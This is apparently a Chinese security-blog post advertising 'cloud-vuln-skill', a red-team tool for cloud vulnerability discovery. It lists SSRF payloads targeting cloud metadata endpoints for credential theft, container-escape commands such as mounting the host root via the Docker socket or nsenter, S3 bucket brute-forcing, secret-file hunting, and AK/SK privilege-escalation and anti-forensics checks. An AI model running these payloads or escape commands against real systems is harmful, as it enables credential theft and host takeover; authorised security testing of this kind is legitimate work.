云安全漏洞挖掘SKILL、一站式云漏洞挖掘工具,支持S3爆破、IMDS探测、K8s检测与AK/SK权限利用

0x01 工具介绍

cloud-vuln-skill 是一款轻量化、开源的云安全漏洞挖掘工具集,专为红队渗透与合规安全测试打造。工具无需复杂部署,可自动化完成S3存储桶爆破、云IMDS元数据探测、K8s未授权检测、容器逃逸风险筛查等核心操作。同时支持AK/SK凭据验证、权限枚举与提权路径分析,全程遵循只读探测原则,无破坏性操作,高效覆盖主流公有云漏洞攻击面,适配日常云资产风险巡检与实战攻防演练。

注意:现在只对常读和星标的才展示大图推送,建议大家把渗透安全HackTwo "设为 星标**⭐️****** "否 则可能就看不到了啦!

下载地址在末尾 #渗透安全HackTwo

0x02 功能介绍

✨核心特点

brute-s3 --- S3 桶名爆破

复制代码
python scripts/cloud_scanner.py brute-s3 --keyword <关键词> [--threads 20] [--delay 0.1] [--format table|json]

将关键词与 70+ 常见后缀(-prod、-dev、-backup、-terraform、-secrets 等)拼接,向 AWS 全球端点和区域端点并发 HTTP HEAD 请求。

状态码 含义
200 公开桶(可列目录)
403 存在但非公开
404/DNS 失败 不存在

参数:

  • --keyword:公司名/关键词(必填)

  • --threads:并发线程数(默认 15)

  • --delay:请求间隔秒数(默认 0.05,增大可避免云端限流)

  • --format:json(默认)或 table

check-bucket --- 单桶公开状态检查

复制代码
python scripts/cloud_scanner.py check-bucket --name <桶名> [--region us-east-1]

三项检测:

  • 公开可列 --- GET 桶根路径,200 且响应含 <Key> 即为可列目录

  • 公开可写 --- PUT 测试文件,200 即为可写(测试后自动清理)

  • 公开可读 --- HEAD 常见文件名

scan-bucket --- 公开桶敏感文件扫描

复制代码
python scripts/cloud_scanner.py scan-bucket --url <桶URL> [--max-files 100] [--threads 10]

两级匹配机制:

第一级(文件名匹配) --- 13 类敏感文件,不需要下载: .env、terraform.tfstate、credentials、id_rsa、*.sql、*.dump、config.yml、secret.yaml、Dockerfile、.git/config、*.pem、*.zip、.bash_history

第二级(内容关键词) --- 仅下载 ≤10KB 的文件头部搜索: AKIA、ASIA、BEGIN RSA PRIVATE KEY、DB_PASSWORD=、AWS_ACCESS_KEY_ID=、connectionString、Bearer 、CREATE TABLE

桶不可列时自动切换爆破模式,用 30 个常见文件名逐个探测。

probe-ssrf --- SSRF → IMDS 凭证窃取探测

复制代码
python scripts/cloud_scanner.py probe-ssrf --target <URL> --param <参数名>

向目标 URL 的参数注入云元数据服务地址,检测响应中是否含云凭证关键词。

注入的 Payload:

# Payload 目标
1 http://169.254.169.254/latest/meta-data/ AWS IMDSv1
2 http://169.254.169.254/latest/meta-data/iam/security-credentials/ AWS IAM Role 名
3 http://169.254.169.254/metadata/instance?api-version=2021-02-01 Azure IMDS
4 http://metadata.google.internal/computeMetadata/v1/ GCP
5 http://100.100.100.200/latest/meta-data/ 阿里云
6 http://[::ffff:a9fe:a9fe]/latest/meta-data/ AWS IPv6 映射绕过

probe-k8s --- K8s 未授权访问探测

复制代码
python scripts/cloud_scanner.py probe-k8s --node <IP>

扫描 7 个高危端口:

端口 服务 探测路径
6443 K8s API (TLS) /api/v1/pods``/api/v1/secrets``/version
8080 K8s API (Plain) 同上
10250 Kubelet /pods``/runningpods/
10255 Kubelet RO /pods
2379 etcd /version``/v2/keys
4194 cAdvisor /containers
10256 kube-proxy /healthz

container-escape --- 容器逃逸条件检测

复制代码
# 在容器/Pod 内运行python scripts/cloud_scanner.py container-escape

11 项自动检测:

检测 危险度 逃逸方法
/var/run/docker.sock 挂载 🔴 docker run -v /:/host alpine chroot /host
Privileged 模式 🔴 nsenter --target 1 --mount --pid -- bash
CAP_SYS_ADMIN 🔴 cgroup release_agent 逃逸
CAP_SYS_PTRACE 🔴 宿主机进程注入
hostPID 🔴 nsenter -t 1
hostPath 挂载 🔴 直接读写宿主机文件
K8s SA Token 🟠 调 API Server 操作资源
IMDS 可达 🟠 获取云 IAM 凭证
Containerd Socket 🟠 ctr 命令控制容器

仅检测不利用,不会尝试实际逃逸。

exploit-creds --- AK/SK 验证与权限枚举

复制代码
python scripts/cloud_scanner.py exploit-creds --ak <AccessKey> --sk <SecretKey> [--token <SessionToken>] [-o result.json]

一条命令完成五步:

  1. 身份验证 --- sts:GetCallerIdentity → Account ID、ARN

  2. IAM 信息收集 --- 附加策略、Inline Policy、所属组、MFA 状态

  3. 高危权限探测 --- 真实验证 23 个 API(读操作直接调用,写操作使用安全假参数/DryRun 探测,不产生副作用)

  4. 提权路径分析 --- 匹配 10 种危险权限组合

  5. S3 桶枚举 --- 列出桶 + 检查 Block Public Access + 加密状态

高危权限探测覆盖:

类别 探测命令 验证方式
直接提权 iam:CreatePolicyVersion 假策略 ARN 探测
直接提权 iam:AttachUserPolicy 不存在的用户名探测
后门 iam:CreateUser + iam:CreateAccessKey 不存在用户名探测
EC2 ec2:RunInstances DryRun 模式(安全)
Lambda lambda:UpdateFunctionCode 不存在函数名 + 空 zip
S3 s3:PutBucketPolicy 不存在桶名探测
反取证 cloudtrail:StopLogging 直接调用(会失败但不产生效果)

0x03 更新介绍

复制代码
增加其他厂商存储桶利用

0x04 使用介绍

📦安装与使用指南

复制代码
cd cloud-vuln-skillpip install -r requirements.txt

​​​​​
# === 信息收集(无需云凭证)===
# S3 桶名爆破
python scripts/cloud_scanner.py brute-s3 --keyword company-name
# 单桶公开状态检查
python scripts/cloud_scanner.py check-bucket --name company-prod
# 公开桶敏感文件扫描
python scripts/cloud_scanner.py scan-bucket --url https://bucket-name.s3.amazonaws.com
# SSRF → IMDS 凭证窃取探测
python scripts/cloud_scanner.py probe-ssrf --target https://target.com/api --param url
# K8s 节点未授权访问探测
python scripts/cloud_scanner.py probe-k8s --node 10.0.0.1
# 容器逃逸条件检测(在容器/Pod 内运行)
python scripts/cloud_scanner.py container-escape
# === 凭据利用(拿到 AK/SK 后)===
python scripts/cloud_scanner.py exploit-creds --ak AKIAXXXXXX --sk xxxxxxxxxxxx

0x05 下载

《渗透安全HackTwo》回复20260728获取下载

相关推荐
Yunovian6 分钟前
AI时代,针对模型与应用,浅谈一下各编程语言
开发语言·c++·人工智能·python·ai·rust·ai编程
木一i12 分钟前
多模态 AI 是什么?为什么它能看图、听音频、读文件?
人工智能·音视频
weixin_4577600016 分钟前
基于 YOLO11m-Pose 的动物姿态估计系统:从 Animal-Pose 标注到 Python 桌面部署
人工智能·python·深度学习
林伽一32 分钟前
每任务成本成为模型选型新标尺,AI基础设施走向“可验证“ | 林伽一 · AI科技日报 | 2026年09月24日
人工智能·科技·ai
陪我去看海1 小时前
被要求猛出小程序,做了这个多平台多环境的部署替我承受压力
前端·微信小程序·抖音小程序
Jucai_in_AI1 小时前
AI岗位能力建模:从一份岗位说明书到一张胜任力图谱的技术路线
人工智能·产品
HIT_Weston1 小时前
233、【AI】【模型部署】基座模型研究:基座与 Instruct 的差别
人工智能·模型部署
黄金龙PLUS1 小时前
5个1024比特大状态置换算法的设计与分析
算法·网络安全·密码学·哈希算法·同态加密
Frag0ut1 小时前
告别插件时代:HTML5 视频播放对比 Flash/Silverlight/ActiveX 的性能与技术优势解析
前端·html5·视频播放·flash·activex·流媒体技术·silverlight
用户818618028001 小时前
MongoDB文档模型设计——从建模到索引
前端